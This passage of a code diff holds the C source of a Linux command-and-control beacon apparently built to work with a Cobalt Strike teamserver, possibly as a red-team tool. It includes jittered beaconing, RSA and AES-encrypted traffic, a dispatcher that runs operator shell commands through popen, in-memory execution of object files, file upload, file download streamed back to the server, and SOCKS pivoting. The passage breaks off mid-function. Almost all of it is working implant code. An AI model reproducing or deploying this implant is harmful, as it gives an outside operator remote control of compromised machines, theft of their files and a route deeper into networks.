snprintf(session_id, sizeof(session_id), "%d", state->agent_id);
DEBUG_PRINT("Sending POST request with %zu bytes\n", total_len);
int ret = http_post(HTTP_POST_URI, packet, total_len, session_id, &response);
free(packet);
http_response_free(&response);
return ret;
}
void beacon_sleep(void)
{
// Apply jitter
int jitter_ms = (g_sleep_time_ms * g_jitter_percent) / 100;
int actual_sleep = g_sleep_time_ms + (rand() % (jitter_ms * 2 + 1)) - jitter_ms;
if (actual_sleep < 0) actual_sleep = g_sleep_time_ms;
DEBUG_PRINT("[*] Sleeping for %dms (configured: %dms, jitter: %d%%)\n", actual_sleep, g_sleep_time_ms, g_jitter_percent);
usleep(actual_sleep * 1000); // usleep takes microseconds
}
void beacon_cleanup(beacon_state_t *state)
{
if (state->pending_tasks) {
free(state->pending_tasks);
state->pending_tasks = NULL;
}
memset(state, 0, sizeof(beacon_state_t));
}
+824
View File
@@ -0,0 +1,824 @@
#include "commands.h"
#include "beacon.h"
#include "config.h"
#include "files.h"
#include "ELFRunner_include.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <dirent.h>
#include <sys/stat.h>
#include <pwd.h>
#include <grp.h>
#include <time.h>
#include "debug.h"
#include "pivot.h"
// External beacon state - will be set by main
extern beacon_state_t* g_beacon_state;
// Global sleep configuration (extern from main.c)
extern int g_sleep_time_ms;
extern int g_jitter_percent;
void pivot_callback_func(const char * buffer, int length, int type) {
send_output_to_server((const uint8_t*)buffer, length, type);
}
// Helper function to send output back to server
void send_output_to_server(const uint8_t *output, size_t output_len, uint32_t callback_type)
{
if (!g_beacon_state) // Only check for beacon state
{
return;
}
// Build packet: [4 bytes callback type][output data]
size_t packet_len = 4 + output_len;
uint8_t *packet = malloc(packet_len);
uint32_t callback_type_be = htonl(callback_type);
memcpy(packet, &callback_type_be, 4);
// Copy output data only if it exists
if (output && output_len > 0) {
memcpy(packet + 4, output, output_len);
}
DEBUG_PRINT("[*] Sending %zu bytes of output to server (packet size: %zu, callback_type: 0x%02x)\n=========\n", output_len, packet_len, callback_type);
beacon_send_output(g_beacon_state, (char*)packet, packet_len);
free(packet);
}
int list_directory(const char *path, uint8_t **output, size_t *output_len)
{
DIR *dir = opendir(path);
if (!dir) {
*output_len = snprintf(NULL, 0, "Failed to open directory '%s'\n", path) + 1;
*output = malloc(*output_len);
if (!*output)
{
ERROR_PRINT("Failed to allocate memory for response output\n");
return -1;
}
snprintf((char*)*output, *output_len, "Failed to open directory '%s'\n", path);
return 0;
}
size_t capacity = 256;
size_t len = 0;
char *buffer = malloc(capacity);
if (!buffer) {
closedir(dir);
return -1;
}
buffer[0] = '\0';
struct dirent *entry;
while ((entry = readdir(dir)) != NULL)
{
/* Skip . and .. */
if (strcmp(entry->d_name, ".") == 0 ||
strcmp(entry->d_name, "..") == 0)
continue;
char line[1024];
snprintf(line, sizeof(line), "%s\n", entry->d_name);
size_t line_len = strlen(line);
/* Grow output buffer if needed */
if (len + line_len + 1 > capacity) {
capacity *= 2;
char *tmp = realloc(buffer, capacity);
if (!tmp) {
free(buffer);
closedir(dir);
return -1;
}
buffer = tmp;
}
memcpy(buffer + len, line, line_len);
len += line_len;
buffer[len] = '\0';
}
closedir(dir);
*output = (uint8_t*)buffer;
*output_len = len + 1;
return 0;
}
// Returns 1 if the task buffer can be fully parsed with this layout.
// Older servers: task_header_len = 0
// Newer servers: task_header_len = 8 (per-task metadata before command args)
static int validate_task_layout(const uint8_t *task_buffer, size_t task_len, size_t task_header_len, size_t *task_count_out)
{
size_t offset = 0;
size_t task_count = 0;
while (offset + 8 <= task_len)
{
uint32_t command_id = ntohl(*(uint32_t*)(task_buffer + offset));
uint32_t data_length = ntohl(*(uint32_t*)(task_buffer + offset + 4));
offset += 8;
// Quick sanity check to reduce false positives when probing layouts.
if (command_id == 0 || command_id > 0xFFFF)
{
return 0;
}
if (task_header_len + (size_t)data_length > task_len - offset)
{
return 0;
}
offset += task_header_len + data_length;
task_count++;
}
if (task_count_out)
{
*task_count_out = task_count;
}
return (task_count > 0 && offset == task_len);
}
int commands_execute(const uint8_t *task_data, size_t task_len, uint8_t **output, size_t *output_len, uint32_t *callback_type)
{
if (task_len < 4)
{
return -1;
}
// Default callback type is CALLBACK_OUTPUT
*callback_type = CALLBACK_OUTPUT;
// Parse command type (first 4 bytes, BIG endian)
uint32_t command = ntohl(*(uint32_t*)task_data);
const uint8_t *cmd_data = task_data + 4;
size_t cmd_data_len = task_len - 4;
DEBUG_PRINT("Tasked to execute command: %u (0x%02x)\n", command, command);
// Print first 30 bytes for debugging
#ifdef DEBUG
printf("Raw bytes:\n");
for(size_t i = 0; i < 50 && i < cmd_data_len; i++)
{
printf("%02x ", cmd_data[i]);
if ((i+1) % 10 == 0) printf("\n");
}
printf("\n");
#endif
#ifdef DEBUG
printf("Command data length: %zu bytes\n", cmd_data_len);
if (cmd_data_len > 0 && cmd_data_len <= 64)
{
printf("Command data: ");
for(size_t i = 0; i < cmd_data_len; i++)
{
printf("%02x", cmd_data[i]);
}
printf("\n");
}
#endif
switch (command) {
/*
// making new command requires
*output_len = snprintf(NULL, 0, "String: %s\n", str) + 1;
*output = malloc(*output_len);
snprintf((char*)*output, *output_len, "String: %s\n", str);
*callback_type = CALLBACK_OUTPUT;
otherwise do this if fails:
*output_len = snprintf(NULL, 0, "Failed to do task!\n") + 1;
*output = malloc(*output_len);
snprintf((char*)*output, *output_len, "Failed to do task!\n");
*callback_type = CALLBACK_OUTPUT;
*/
// using ID 200 because the way ID 100 (COMMAND_INLINE_EXECUTE_OBJECT) sends BOF data changed in 4.12 and maybe 4.11.
// It stores it in the Beacon Data store and passes a reference to it, and then passes the BOF args only
// Using a custom command ID of 200 sends the BOF data the same way no matter the version
// simple, funny fix :)
case 200: {
/* Format:
[4 bytes] BOF size
[N bytes] BOF bytes
[4 bytes] argument size 1
[4 bytes] argument size 2
[N bytes] arguments
*/
DEBUG_PRINT("Parsing Linux Inline Execute command!\n");
if (cmd_data_len < 4) {
// Not enough data for bof_size
break;
}
int bof_size = ntohl(*(uint32_t*)cmd_data);
// The pointer to argument_size is cmd_data + sizeof(bof_size) + bof_size
uint8_t *p_arg_size_field = cmd_data + 4 + bof_size;
if ((p_arg_size_field + 4) > (cmd_data + cmd_data_len)) {
// Not enough data for argument_size field
DEBUG_PRINT("Not enough data for arg size field\n");
DEBUG_PRINT("BOF size: %d\n", bof_size);
DEBUG_PRINT("Arg size: 0\n");
break;
}
int argument_size = ntohl(*(uint32_t*)p_arg_size_field);
DEBUG_PRINT("BOF size: %d\n", bof_size);
DEBUG_PRINT("Arg size: %d\n", argument_size);
// Calculate start and end pointers for BOF bytes
const uint8_t* bof_bytes_start = cmd_data + 4; // After bof_size
const uint8_t* bof_bytes_end = bof_bytes_start + bof_size;
#ifdef DEBUG
printf("BOF bytes (%d bytes): ", bof_size);
if (bof_bytes_end <= (cmd_data + cmd_data_len)) {
for (int i = 0; i < bof_size; i++) {
printf("%02x ", bof_bytes_start[i]);
}
} else {
printf("<truncated/invalid BOF bytes>");
}
printf("\n");
#endif
// Calculate start and end pointers for BOF arguments
const uint8_t *bof_args_start = cmd_data + 4 + bof_size; // After bof_size, bof_data, and argument_size field
const uint8_t *bof_args_end = bof_args_start + argument_size;
#ifdef DEBUG
printf("BOF arguments (%d bytes): ", argument_size);
if (bof_args_end <= (cmd_data + cmd_data_len)) {
for (int i = 0; i < argument_size; i++) {
printf("%02x ", bof_args_start[i]);
}
} else {
printf("<truncated/invalid BOF arguments>");
}
printf("\n");
#endif
int outputdataLen = 0;
int checkcode = ELFRunner("go", bof_bytes_start, bof_size, (unsigned char*)bof_args_start, argument_size);
if (checkcode == 0)
{
char* outputdata = BeaconGetOutputData(&outputdataLen);
DEBUG_PRINT("Output data : %s\n", outputdata);
// making new command requires
*output_len = snprintf(NULL, 0, "%s\n", outputdata) + 1;
*output = malloc(*output_len);
snprintf((char*)*output, *output_len, "%s\n", outputdata);
*callback_type = CALLBACK_OUTPUT;
free(outputdata);
return 0;
}
else
{
*output_len = snprintf(NULL, 0, "Failed to execute BOF!\n") + 1;
*output = malloc(*output_len);
snprintf((char*)*output, *output_len, "Failed to execute BOF!\n");
*callback_type = CALLBACK_OUTPUT;
}
return -1;
}
case COMMAND_EXECUTE_JOB: {
// Windows Shell command
// Format Example: %COMSPEC% /C whoami
// %COMSPEC% /C bytes: 25 43 4f 4d 53 50 45 43 25 00 00 00 0a 20 2f 43 20
// whoami bytes: 77 68 6f 61 6d 69 00 00
DEBUG_PRINT("Parsing COMMAND_EXECUTE_JOB command\n");
int offset = 4; // first 4 bytes seem to be the size of the %COMSPEC%, but I don't actually know what it is for
offset += 17; // After the 4 byte len at the beginning, the following 17 bytes are %COMSPEC% /C
int cmd_len = cmd_data_len - offset; // We get the length of the actual command to run
if (cmd_len < 1)
{
ERROR_PRINT("Invalid command!");
*output = NULL;
*callback_type = CALLBACK_OUTPUT;
return -1;
}
// Extract the actual command
char *shell_cmd = malloc(cmd_len + 1);
memcpy(shell_cmd, cmd_data + offset, cmd_len);
shell_cmd[cmd_len] = '\0';
DEBUG_PRINT("Running shell command: '%s'\n", shell_cmd);
char *shell_cmd_with_stderr = malloc(strlen(shell_cmd) + 6); // extra space for " 2>&1\0"
sprintf(shell_cmd_with_stderr, "%s 2>&1", shell_cmd);
// Execute using popen to capture output
FILE *fp = popen(shell_cmd_with_stderr, "r");
if (!fp)
{
ERROR_PRINT("popen failed\n");
free(shell_cmd);
free(shell_cmd_with_stderr);
*callback_type = CALLBACK_OUTPUT;
return -1;
}
// Read output
char buffer[4096];
size_t total_read = 0;
*output = NULL;
while (fgets(buffer, sizeof(buffer), fp) != NULL)
{
size_t len = strlen(buffer);
*output = realloc(*output, total_read + len);
memcpy(*output + total_read, buffer, len);
total_read += len;
}
*output_len = total_read;
int status = pclose(fp);
free(shell_cmd);
free(shell_cmd_with_stderr);
DEBUG_PRINT("Command executed, status=%d, output length: %zu\n", status, total_read);
// Use standard output callback
*callback_type = CALLBACK_OUTPUT;
return 0;
}
case COMMAND_DIE: {
// Exit beacon - send CALLBACK_DEAD before exiting
DEBUG_PRINT("Received DIE command, sending CALLBACK_DEAD and exiting...\n");
// Set callback type to CALLBACK_DEAD (0x1a)
*callback_type = CALLBACK_DEAD;
// No output data needed for CALLBACK_DEAD
*output = NULL;
*output_len = 0;
// Return 0 to indicate we want to send the callback
// The actual exit will happen after the callback is sent
return 0;
}
case COMMAND_SLEEP: {
// Change sleep time
// Format: [4 bytes: sleep_ms BIG-endian][4 bytes: jitter_percent BIG-endian]
// Note: Cobalt Strike already sends the value in milliseconds
if (cmd_data_len < 8)
{
*output_len = snprintf(NULL, 0, "Invalid sleep arguments\n") + 1;
*output = malloc(*output_len);
if (*output) {
snprintf((char*)*output, *output_len, "Invalid sleep arguments\n");
}
*callback_type = CALLBACK_OUTPUT;
return -1;
}
uint32_t sleep_ms = ntohl(*(uint32_t*)cmd_data);
uint32_t new_jitter = ntohl(*(uint32_t*)(cmd_data + 4));
if (sleep_ms < 200) {
g_sleep_time_ms = 200;
g_jitter_percent = 0;
} else {
g_sleep_time_ms = sleep_ms;
g_jitter_percent = new_jitter;
}
DEBUG_PRINT("Sleep time changed to: %u ms, jitter: %u%%\n", g_sleep_time_ms, g_jitter_percent);
// Send confirmation
char msg[128];
int msg_len = snprintf(msg, sizeof(msg), "Sleep set to %u ms (jitter %u%%)\n", g_sleep_time_ms, g_jitter_percent);
*output = malloc(msg_len);
if (!*output)
{
*callback_type = CALLBACK_OUTPUT;
return -1;
}
memcpy(*output, msg, msg_len);
*output_len = msg_len;
*callback_type = CALLBACK_OUTPUT;
return 0;
}
case COMMAND_CD: {
// Change directory
if (cmd_data_len == 0)
{
*callback_type = CALLBACK_OUTPUT;
return -1;
}
char *dir = malloc(cmd_data_len + 1);
memcpy(dir, cmd_data, cmd_data_len);
dir[cmd_data_len] = '\0';
if (chdir(dir) == 0)
{
char cwd[1024];
getcwd(cwd, sizeof(cwd));
*output_len = snprintf(NULL, 0, "Changed directory to: %s\n", cwd) + 1;
*output = malloc(*output_len);
snprintf((char*)*output, *output_len, "Changed directory to: %s\n", cwd);
*callback_type = CALLBACK_OUTPUT;
}
else
{
*output_len = snprintf(NULL, 0, "Failed to change directory!\n") + 1;
*output = malloc(*output_len);
snprintf((char*)*output, *output_len, "Failed to change directory!\n");
*callback_type = CALLBACK_OUTPUT;
}
free(dir);
return 0;
}
case COMMAND_PWD: {
char cwd[1024];
if (getcwd(cwd, sizeof(cwd)) != NULL)
{
*output_len = snprintf(NULL, 0, "%s\n", cwd) + 1;
*output = malloc(*output_len);
snprintf((char *)*output, *output_len, "%s\n", cwd);
*callback_type = CALLBACK_PWD; // Use PWD-specific callback
}
else
{
*output_len = snprintf(NULL, 0, "Failed to get current working directory!\n") + 1;
*output = malloc(*output_len);
snprintf((char *)*output, *output_len, "Failed to get current working directory!\n");
*callback_type = CALLBACK_OUTPUT;
}
return 0;
}
case COMMAND_FILE_LIST: {
/*
ff ff ff fe 00 00 00 13 2f 68 0x13 (19) is the length of the string with a \* at the end. So -2.
6f 6d 65 2f 65 65 2f 54 6f 6f
6c 73 2f 63 32 5c 2a
*/
int dirLengthOffset = 7;
if (cmd_data_len <= dirLengthOffset) {
fprintf(stderr, "Command too short\n");
*callback_type = CALLBACK_OUTPUT;
return -1;
}
uint8_t dirLength = cmd_data[dirLengthOffset] - 2; // Doing -2 because the directory string also contains a \* at the end for some reason.
DEBUG_PRINT("String length: %u\n", dirLength);
/* Validate bounds */
if (dirLengthOffset + dirLength + 2 > cmd_data_len) {
fprintf(stderr, "Invalid directory length\n");
*callback_type = CALLBACK_OUTPUT;
return -1;
}
/* Allocate exact size (+1 for NUL) */
char *DirToList = malloc(dirLength + 1);
if (!DirToList)
{
ERROR_PRINT("Failed to allocate space for directory name\n");
*callback_type = CALLBACK_OUTPUT;
return -1;
}
/* Copy raw bytes */
memcpy(DirToList, cmd_data + dirLengthOffset + 1, dirLength);
DirToList[dirLength] = '\0';
DEBUG_PRINT("Directory to list: %s\n", DirToList);
list_directory(DirToList, output, output_len);
*callback_type = CALLBACK_OUTPUT;
free(DirToList);
return 0;
}
case COMMAND_UPLOAD:
case COMMAND_UPLOAD_CONTINUE: {
DEBUG_PRINT("Parsing COMMAND_UPLOAD command\n");
if (cmd_data_len < 4) {
*callback_type = CALLBACK_ERROR;
return -1;
}
uint32_t file_name_len = ntohl(*(uint32_t*)cmd_data);
if (file_name_len == 0 || file_name_len > cmd_data_len - 4) {
*callback_type = CALLBACK_ERROR;
return -1;
}
char *file_name = malloc(file_name_len + 1);
if (!file_name) {
*callback_type = CALLBACK_ERROR;
return -1;
}
memcpy(file_name, cmd_data + 4, file_name_len);
file_name[file_name_len] = '\0';
const uint8_t *file_content = cmd_data + 4 + file_name_len;
size_t file_content_len = cmd_data_len - 4 - file_name_len;
const char *mode = (command == COMMAND_UPLOAD) ? "wb" : "ab";
FILE *outfile = fopen(file_name, mode);
if (!outfile) {
free(file_name);
*output_len = snprintf(NULL, 0, "Failed to open file for writing: %s", file_name) + 1;
*output = malloc(*output_len);
snprintf((char*)*output, *output_len, "Failed to open file for writing: %s", file_name);
*callback_type = CALLBACK_ERROR;
return 0;
}
fwrite(file_content, 1, file_content_len, outfile);
fclose(outfile);
*output_len = snprintf(NULL, 0, "Uploaded %zu bytes to %s", file_content_len, file_name) + 1;
*output = malloc(*output_len);
snprintf((char*)*output, *output_len, "Uploaded %zu bytes to %s", file_content_len, file_name);
*callback_type = CALLBACK_OUTPUT;
free(file_name);
return 0;
}
case COMMAND_DOWNLOAD: {
DEBUG_PRINT("Parsing COMMAND_DOWNLOAD command\n");
command_download(cmd_data, cmd_data_len);
*output_len = 0;
*output = NULL;
return 0;
}
case COMMAND_CANCEL_DOWNLOAD: {
DEBUG_PRINT("Parsing COMMAND_DOWNLOAD_STOP command\n");
command_download_stop(cmd_data, cmd_data_len);
*output_len = 0;
*output = NULL;
return 0;
}
case COMMAND_LISTEN: {
DEBUG_PRINT("Parsing COMMAND_LISTEN command for SOCKS\n");
command_listen_socks(cmd_data, cmd_data_len, pivot_callback_func);
*output_len = 0;
*output = NULL;
return 0;
}
case COMMAND_CONNECT: {
// COMMAND_CONNECT (14): Initiate a new SOCKS connection to a target.
// The C2 server sends the target information in the following format:
// [4 bytes] Socket ID (big endian)
// [2 bytes] Target port (big endian)
// [N bytes] Target host (string)
DEBUG_PRINT("Parsing COMMAND_CONNECT command for SOCKS\n");
command_connect_socks(cmd_data, cmd_data_len, pivot_callback_func);
*output_len = 0;
*output = NULL;
return 0;
}
case COMMAND_SEND: {
// COMMAND_SEND (15): Forward data from the C2 server to an established SOCKS connection.
// The data format is:
// [4 bytes] Socket ID (big endian)
// [N bytes] Data to write to the socket
DEBUG_PRINT("Parsing COMMAND_SEND command for SOCKS\n");
command_send_socks(cmd_data, cmd_data_len);
*output_len = 0;
*output = NULL;
return 0;
}
case COMMAND_CLOSE: {
// COMMAND_CLOSE (16): Close an active SOCKS connection.
// The data format is:
// [4 bytes] Socket ID (big endian) to be closed
DEBUG_PRINT("Parsing COMMAND_CLOSE command for SOCKS\n");
command_close_socks(cmd_data, cmd_data_len);
*output_len = 0;
*output = NULL;
return 0;
}
default:
{
// Send response to teamserver
char* response = "Unknown command!";
size_t len = strlen(response) + 1;
char* buf = malloc(len + 1);
if (!buf)
{
*callback_type = CALLBACK_OUTPUT;
return -1;
}
memcpy(buf, response, len);
*output = (uint8_t*)buf;
*output_len = len;
*callback_type = CALLBACK_OUTPUT;
return 0;
}
}
}
int commands_parse_tasks(const uint8_t *task_buffer, size_t task_len)
{
/*
The full task data is sent to this command
Old server layout (v4.9):
[4 bytes] Command ID
[4 bytes] Length of command-specific data
[N bytes] Command-specific data
New server layout (v4.12):
[4 bytes] Command ID
[4 bytes] Length of command-specific data
[8 bytes] Per-task metadata/header
[N bytes] Command-specific data
*/
DEBUG_PRINT("Parsing task buffer: %zu bytes total\n", task_len);
#ifdef DEBUG
printf("Raw task buffer data: ");
for(size_t i = 0; i < task_len && i < 64; i++) {
printf("%02x", task_buffer[i]);
}
printf("\n");
#endif
size_t v2_task_count = 0;
size_t v1_task_count = 0;
int v2_valid = validate_task_layout(task_buffer, task_len, 8, &v2_task_count);
int v1_valid = validate_task_layout(task_buffer, task_len, 0, &v1_task_count);
size_t task_header_len = 0;
if (v2_valid && !v1_valid)
{
task_header_len = 8;
DEBUG_PRINT("Detected task layout: new server format (8-byte per-task header)\n");
}
else if (v1_valid && !v2_valid)
{
task_header_len = 0;
DEBUG_PRINT("Detected task layout: old server format (no per-task header)\n");
}
else if (v2_valid && v1_valid)
{
// Ambiguous payload: prefer newer layout.
task_header_len = 8;
DEBUG_PRINT("Detected ambiguous task layout (v2 tasks=%zu, v1 tasks=%zu), using new server format\n",
v2_task_count, v1_task_count);
}
else
{
ERROR_PRINT("[!] Could not determine task layout (old/new)\n");
return -1;
}
size_t offset = 0;
// LOOP through all tasks in the full task data buffer
while (offset + 8 + task_header_len <= task_len)
{
// Command Specific Task
// [4 bytes] Length of command-specific data
// [8 bytes] Per-task metadata/header (4.12)
// [N bytes] Command specific data
// Read command ID (BIG endian / network byte order)
uint32_t command_id = ntohl(*(uint32_t*)(task_buffer + offset));
offset += 4;
// Read data length (BIG endian / network byte order)
uint32_t data_length = ntohl(*(uint32_t*)(task_buffer + offset));
offset += 4;
DEBUG_PRINT("Parsed task: Command=%u (0x%02x), Length=%u, offset=%zu\n", command_id, command_id, data_length, offset);
// Each task contains 8 bytes of metadata before the command-specific args.
if (task_header_len + data_length > task_len - offset)
{
DEBUG_PRINT("[!] Invalid task length: %u (+%zu header) (only %zu bytes remaining)\n",
data_length, task_header_len, task_len - offset);
break;
}
// Build full task for this singular command
size_t full_task_len = 4 + data_length;
uint8_t *full_task = malloc(full_task_len);
if (!full_task)
{
DEBUG_PRINT("[!] Failed to allocate memory for task execution buffer\n");
break;
}
uint32_t cmd_be = htonl(command_id);
memcpy(full_task, &cmd_be, 4);
memcpy(full_task + 4, task_buffer + offset + task_header_len, data_length);
DEBUG_PRINT("Executing task (total %zu bytes)\n", full_task_len);
// Execute this specific task
uint8_t* output = NULL;
size_t output_len = 0;
uint32_t callback_type = CALLBACK_OUTPUT; // Will be set by commands_execute
if (commands_execute(full_task, full_task_len, &output, &output_len, &callback_type) == 0)
{
// Special handling for COMMAND_DIE
if (command_id == COMMAND_DIE)
{
// Send the CALLBACK_DEAD response
DEBUG_PRINT("Sending CALLBACK_DEAD (0x%02x) to teamserver...\n", callback_type);
send_output_to_server(output, output_len, callback_type);
if (output) free(output);
DEBUG_PRINT("CALLBACK_DEAD sent successfully\n");
usleep(500);
DEBUG_PRINT("Exiting beacon now...\n");
// Clean up and exit
free(full_task);
exit(0);
}
if (output && output_len > 0)
{
// Print output for debugging (limit to 200 chars)
DEBUG_PRINT("Command produced output (%zu bytes) with callback_type 0x%02x:\n", output_len, callback_type);
size_t print_len = output_len < 200 ? output_len : 200;
DEBUG_PRINT("%.*s%s\n", (int)print_len, (char*)output, output_len > 200 ? "..." : "");
// Send with the callback type returned by commands_execute
send_output_to_server(output, output_len, callback_type);
free(output);
}
else
{
DEBUG_PRINT("Command executed successfully (no output)\n");
}
}
else
{
DEBUG_PRINT("[!] Command execution failed\n");
}
free(full_task);
offset += task_header_len + data_length;
}
if (offset < task_len)
{
DEBUG_PRINT("%zu bytes remaining in task buffer (possibly padding)\n", task_len - offset);
}
return 0;
}
+209
View File
@@ -0,0 +1,209 @@
#include "crypto.h"
#include "config.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/rsa.h>
#include <openssl/pem.h>
#include <openssl/evp.h>
#include <openssl/bio.h>
#include <openssl/buffer.h>
#include <openssl/rand.h>
int crypto_rsa_encrypt(const uint8_t *plaintext, size_t plaintext_len,
uint8_t *ciphertext, size_t *ciphertext_len) {
// Load RSA public key from DER format
const unsigned char *key_ptr = BEACON_PUBLIC_KEY;
EVP_PKEY *pkey = d2i_PUBKEY(NULL, &key_ptr, BEACON_PUBLIC_KEY_LEN);
if (!pkey) {
fprintf(stderr, "[!] Failed to load public key\n");
return -1;
}
// Create encryption context
EVP_PKEY_CTX *ctx = EVP_PKEY_CTX_new(pkey, NULL);
if (!ctx) {
EVP_PKEY_free(pkey);
return -1;
}
// Initialize encryption
if (EVP_PKEY_encrypt_init(ctx) <= 0) {
EVP_PKEY_CTX_free(ctx);
EVP_PKEY_free(pkey);
return -1;
}
// Set padding to PKCS1
EVP_PKEY_CTX_set_rsa_padding(ctx, RSA_PKCS1_PADDING);
// Encrypt
if (EVP_PKEY_encrypt(ctx, ciphertext, ciphertext_len,
plaintext, plaintext_len) <= 0) {
EVP_PKEY_CTX_free(ctx);
EVP_PKEY_free(pkey);
return -1;
}
EVP_PKEY_CTX_free(ctx);
EVP_PKEY_free(pkey);
return 0;
}
int crypto_aes_encrypt(const uint8_t *key, const uint8_t *iv,
const uint8_t *plaintext, size_t plaintext_len,
uint8_t *ciphertext, size_t *ciphertext_len) {
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
if (!ctx) return -1;
// Initialize AES-128-CBC
if (EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv) != 1) {
EVP_CIPHER_CTX_free(ctx);
return -1;
}
// Disable automatic padding - manual padding required for CS compatibility
EVP_CIPHER_CTX_set_padding(ctx, 0);
// Manually add PKCS7 padding
size_t padding_len = 16 - (plaintext_len % 16);
size_t padded_len = plaintext_len + padding_len;
uint8_t *padded = malloc(padded_len);
memcpy(padded, plaintext, plaintext_len);
// PKCS7: pad with N bytes of value N
memset(padded + plaintext_len, (unsigned char)padding_len, padding_len);
int len;
int ciphertext_len_int = 0;
// Encrypt
if (EVP_EncryptUpdate(ctx, ciphertext, &len, padded, padded_len) != 1) {
EVP_CIPHER_CTX_free(ctx);
free(padded);
return -1;
}
ciphertext_len_int = len;
// Finalize
if (EVP_EncryptFinal_ex(ctx, ciphertext + len, &len) != 1) {
EVP_CIPHER_CTX_free(ctx);
free(padded);
return -1;
}
ciphertext_len_int += len;
*ciphertext_len = ciphertext_len_int;
EVP_CIPHER_CTX_free(ctx);
free(padded);
return 0;
}
int crypto_aes_decrypt(const uint8_t *key, const uint8_t *iv,
const uint8_t *ciphertext, size_t ciphertext_len,
uint8_t *plaintext, size_t *plaintext_len) {
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
if (!ctx) return -1;
// Initialize AES-128-CBC
if (EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv) != 1) {
EVP_CIPHER_CTX_free(ctx);
return -1;
}
// Disable automatic padding - we'll handle it manually
EVP_CIPHER_CTX_set_padding(ctx, 0);
int len;
int plaintext_len_int = 0;
// Decrypt
if (EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len) != 1) {
EVP_CIPHER_CTX_free(ctx);
return -1;
}
plaintext_len_int = len;
// Finalize (should not fail now with padding disabled)
if (EVP_DecryptFinal_ex(ctx, plaintext + len, &len) != 1) {
EVP_CIPHER_CTX_free(ctx);
return -1;
}
plaintext_len_int += len;
// Remove PKCS7 padding manually
if (plaintext_len_int > 0) {
unsigned char padding_value = plaintext[plaintext_len_int - 1];
// Validate padding
if (padding_value > 0 && padding_value <= 16) {
// Check if all padding bytes have the same value
int valid_padding = 1;
for (int i = 0; i < padding_value; i++) {
if (plaintext[plaintext_len_int - 1 - i] != padding_value) {
valid_padding = 0;
break;
}
}
if (valid_padding) {
plaintext_len_int -= padding_value;
}
}
}
*plaintext_len = plaintext_len_int;
EVP_CIPHER_CTX_free(ctx);
return 0;
}
char* base64_encode(const uint8_t *data, size_t len) {
BIO *bio, *b64;
BUF_MEM *buffer_ptr;
b64 = BIO_new(BIO_f_base64());
bio = BIO_new(BIO_s_mem());
bio = BIO_push(b64, bio);
BIO_set_flags(bio, BIO_FLAGS_BASE64_NO_NL);
BIO_write(bio, data, len);
BIO_flush(bio);
BIO_get_mem_ptr(bio, &buffer_ptr);
char *encoded = malloc(buffer_ptr->length + 1);
memcpy(encoded, buffer_ptr->data, buffer_ptr->length);
encoded[buffer_ptr->length] = '\0';
BIO_free_all(bio);
return encoded;
}
uint8_t* base64_decode(const char *data, size_t *out_len) {
BIO *bio, *b64;
size_t len = strlen(data);
uint8_t *decoded = malloc(len);
bio = BIO_new_mem_buf(data, len);
b64 = BIO_new(BIO_f_base64());
bio = BIO_push(b64, bio);
BIO_set_flags(bio, BIO_FLAGS_BASE64_NO_NL);
*out_len = BIO_read(bio, decoded, len);
BIO_free_all(bio);
return decoded;
}
void crypto_random_bytes(uint8_t *buffer, size_t len) {
RAND_bytes(buffer, len);
}
+172
View File
@@ -0,0 +1,172 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <limits.h>
#include "files.h"
#include "commands.h"
#include "debug.h"
#define MAX_PACKET_SIZE 1024 * 1024 // 1MB chunks
typedef struct file_entry {
uint32_t id;
uint32_t toread;
FILE *handle;
struct file_entry *next;
} file_entry;
static file_entry *download_list = NULL;
static uint32_t download_id = 1;
static char *read_buffer = NULL;
void process_close(file_entry *entry);
void command_download(const uint8_t *data, size_t data_len) {
if (data_len == 0 || data_len > 1024) {
send_output_to_server((uint8_t*)"Invalid filename length", 23, CALLBACK_ERROR);
return;
}
char *fname = malloc(data_len + 1);
if (!fname) return;
memcpy(fname, data, data_len);
fname[data_len] = '\0';
FILE *infile = fopen(fname, "rb");
if (!infile) {
char err_msg[1024];
int len = snprintf(err_msg, sizeof(err_msg), "Failed to open file: %s", fname);
send_output_to_server((uint8_t*)err_msg, len, CALLBACK_ERROR);
free(fname);
return;
}
fseek(infile, 0L, SEEK_END);
long long fsz = ftell(infile);
fseek(infile, 0L, SEEK_SET);
if (fsz <= 0 || fsz > 0xffffffffLL) {
send_output_to_server((uint8_t*)"Invalid file size or file is empty", 34, CALLBACK_ERROR);
fclose(infile);
free(fname);
return;
}
char fullname[PATH_MAX];
if (realpath(fname, fullname) == NULL) {
strncpy(fullname, fname, PATH_MAX);
}
file_entry *entry = (file_entry *)malloc(sizeof(file_entry));
entry->handle = infile;
entry->id = download_id++;
entry->toread = fsz;
entry->next = download_list;
download_list = entry;
size_t path_len = strlen(fullname);
size_t buffer_len = 4 + 4 + path_len;
uint8_t *out_buf = malloc(buffer_len);
if (!out_buf) {
fclose(infile);
free(fname);
return;
}
uint32_t id_be = htonl(entry->id);
uint32_t size_be = htonl(fsz);
memcpy(out_buf, &id_be, 4);
memcpy(out_buf + 4, &size_be, 4);
memcpy(out_buf + 8, fullname, path_len);
send_output_to_server(out_buf, buffer_len, CALLBACK_FILE);
free(out_buf);
free(fname);
if (fsz == 0) {
process_close(entry);
}
}
void process_download(file_entry *entry) {
if (!read_buffer) {
read_buffer = (char *)malloc(4 + MAX_PACKET_SIZE);
if (!read_buffer) return;
}
uint32_t id_be = htonl(entry->id);
memcpy(read_buffer, &id_be, 4);
size_t to_read_now = (entry->toread > MAX_PACKET_SIZE) ? MAX_PACKET_SIZE : entry->toread;
size_t bytes_read = fread(read_buffer + 4, 1, to_read_now, entry->handle);
if (bytes_read > 0) {
send_output_to_server((uint8_t*)read_buffer, bytes_read + 4, CALLBACK_FILE_WRITE);
entry->toread -= bytes_read;
} else {
// Error or EOF
entry->toread = 0;
}
process_close(entry);
}
void process_close(file_entry *entry) {
if (entry->toread <= 0) {
uint32_t id_be = htonl(entry->id);
send_output_to_server((uint8_t*)&id_be, 4, CALLBACK_FILE_CLOSE);
